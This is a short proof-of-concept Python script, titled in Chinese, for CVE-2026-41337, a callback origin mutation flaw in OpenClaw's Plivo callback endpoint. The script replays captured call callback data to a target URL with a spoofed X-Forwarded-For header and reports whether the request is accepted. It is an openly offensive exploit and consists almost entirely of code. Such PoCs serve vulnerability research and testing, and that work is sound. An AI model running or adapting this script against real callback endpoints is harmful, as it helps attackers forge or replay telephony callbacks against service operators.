CVE-2026-41337 OpenClaw回调源变异漏洞

# PoC for CVE-2026-41337: OpenClaw Callback Origin Mutation # This script demonstrates how an attacker might attempt to mutate the callback origin. import requests target_url = "http://target-openclaw-instance/api/plivo/callback" # Simulated captured valid callback data for a live call original_payload = { "CallUUID": "12345678-1234-1234-1234-123456789012", "From": "+1234567890", "To": "+0987654321", "Direction": "inbound" } # Headers simulating a legitimate request initially headers = { "User-Agent": "Plivo", "Content-Type": "application/json" } # The vulnerability allows mutating the origin before replay rejection is checked. # Attackers might modify the Host header or X-Forwarded-For if the logic relies on them. malicious_headers = headers.copy() malicious_headers["X-Forwarded-For"] = "192.168.1.100" # Mutating origin print(f"Sending payload to {target_url} with mutated origin...") try: response = requests.post(target_url, json=original_payload, headers=malicious_headers, timeout=5) if response.status_code == 200: print("[+] Request accepted, potential mutation successful.") else: print(f"[-] Request rejected with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")